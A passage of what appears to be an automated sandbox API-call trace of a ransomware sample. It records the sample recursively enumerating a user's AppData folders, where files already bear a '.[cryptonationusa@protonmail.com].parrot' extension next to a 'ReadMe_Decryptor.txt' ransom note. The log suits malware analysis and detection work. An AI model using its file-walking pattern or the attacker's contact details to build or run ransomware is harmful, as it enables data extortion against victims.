ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xa5fcf760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="WSRGBI~1.PAR")) returned 1 [0096.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0096.776] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0096.776] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.776] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0096.777] CloseHandle (hObject=0x1fc) returned 1 [0096.777] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xa5fcf760, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsRGB.icc.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="WSRGBI~1.PAR")) returned 0 [0096.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694398 [0096.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.777] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0096.777] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\Profiles\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0096.777] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5ff58c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5ff58c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.777] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5f5d340, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa5f5d340, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5ff58c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0096.777] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.778] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.778] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0096.778] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5f11080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5f11080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.778] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xa5f11080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECache11.lst.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACECAC~1.PAR")) returned 1 [0096.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9ca0 [0096.778] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0096.780] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0096.780] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.781] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0096.781] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5f11080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5f11080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1 [0096.781] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xa5f11080, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5f11080, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 0 [0096.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.781] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0096.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0096.781] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0096.781] lstrcmpW (lpString1="Application Data", lpString2=".") returned 1 [0096.781] lstrcmpW (lpString1="Application Data", lpString2="..") returned 1 [0096.781] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0096.781] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.781] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x694300 [0096.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694268 | out: hHeap=0x5b0000) returned 1 [0096.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0096.781] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0096.781] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.781] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0xffffffff [0096.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0096.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.782] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0xffffffff [0096.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0096.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0096.782] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1 [0096.782] lstrcmpW (lpString1="Apps", lpString2=".") returned 1 [0096.782] lstrcmpW (lpString1="Apps", lpString2="..") returned 1 [0096.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0096.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x694268 [0096.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0096.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694300 | out: hHeap=0x5b0000) returned 1 [0096.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0096.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.782] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0096.782] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.782] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.782] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.782] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.782] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1 [0096.782] lstrcmpW (lpString1="2.0", lpString2=".") returned 1 [0096.782] lstrcmpW (lpString1="2.0", lpString2="..") returned 1 [0096.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e6250 [0096.782] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0096.782] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.782] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0096.783] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.783] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.785] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.785] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.785] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0096.785] lstrcmpW (lpString1="Data", lpString2=".") returned 1 [0096.785] lstrcmpW (lpString1="Data", lpString2="..") returned 1 [0096.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0096.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x5e9ca0 [0096.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0096.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0096.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.785] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0096.785] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.785] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.786] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.786] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.786] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1 [0096.786] lstrcmpW (lpString1="CJW3O3KP.BX7", lpString2=".") returned 1 [0096.786] lstrcmpW (lpString1="CJW3O3KP.BX7", lpString2="..") returned 1 [0096.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d4c0 [0096.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5d0838 [0096.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x2218168 [0096.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0838 | out: hHeap=0x5b0000) returned 1 [0096.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4c0 | out: hHeap=0x5b0000) returned 1 [0096.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694300 [0096.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.787] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0096.787] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.787] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.788] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.788] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.788] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6NG60CXZ.9GJ", cAlternateFileName="")) returned 1 [0096.788] lstrcmpW (lpString1="6NG60CXZ.9GJ", lpString2=".") returned 1 [0096.788] lstrcmpW (lpString1="6NG60CXZ.9GJ", lpString2="..") returned 1 [0096.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d4c0 [0096.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x694398 [0096.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x5d0838 [0096.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694398 | out: hHeap=0x5b0000) returned 1 [0096.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d4c0 | out: hHeap=0x5b0000) returned 1 [0096.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x69b268 [0096.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.788] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0096.788] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.788] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.789] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.789] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.789] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1 [0096.789] lstrcmpW (lpString1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", lpString2=".") returned 1 [0096.789] lstrcmpW (lpString1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", lpString2="..") returned 1 [0096.789] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9290 [0096.789] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x69b320 [0096.789] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x221a0a0 [0096.789] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69b320 | out: hHeap=0x5b0000) returned 1 [0096.789] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0096.789] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9290 | out: hHeap=0x5b0000) returned 1 [0096.789] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x221a1c8 [0096.790] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x5d2058 [0096.790] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0096.790] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0096.790] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.791] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0096.791] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0096.791] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0096.791] lstrcmpW (lpString1="Data", lpString2=".") returned 1 [0096.791] lstrcmpW (lpString1="Data", lpString2="..") returned 1 [0096.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 